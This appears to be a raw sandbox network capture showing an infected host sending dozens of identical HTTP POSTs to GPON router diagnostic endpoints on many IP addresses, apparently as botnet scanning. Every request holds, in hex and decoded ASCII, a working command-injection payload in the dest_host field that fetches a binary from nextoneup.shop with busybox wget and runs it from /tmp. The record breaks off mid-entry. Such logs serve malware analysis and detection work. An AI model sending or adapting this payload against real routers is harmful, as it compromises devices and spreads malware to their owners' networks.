Apr 14, 2024 04:00:23.984991074 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:10Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.23	60460	2.99.186.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337524891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.23	40372	37.191.97.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337565899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.23	55952	94.120.200.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337596893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.23	36374	117.161.197.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337639093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.23	52356	210.84.85.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337675095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.23	36310	212.126.104.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337718964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.23	37152	37.74.206.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337754965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.23	54112	117.104.17.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337788105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.23	39246	202.249.27.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337819099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.23	56238	117.169.39.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337857008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.23	51976	202.40.192.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337898970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.23	46918	94.27.83.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337938070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.23	55516	202.39.7.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337968111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.23	37030	210.15.36.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.337989092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.23	60122	117.234.83.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338025093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.23	48110	210.69.169.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338074923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.23	49010	178.9.32.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338099957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.23	54852	5.128.105.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338133097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.23	35870	5.62.44.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338170052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.23	47032	178.24.219.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338213921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.23	38076	42.224.78.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338248014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.23	39238	109.242.12.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338293076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.23	36224	109.69.213.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338325024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.23	46426	210.149.4.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338349104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.23	42802	210.160.203.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.338399887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.23	51618	178.98.119.114	443

Timestamp	Bytes transferred	Direction	Data
